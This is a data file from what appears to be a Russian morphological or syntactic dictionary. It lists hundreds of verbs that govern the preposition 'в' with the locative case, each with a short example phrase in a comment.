rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
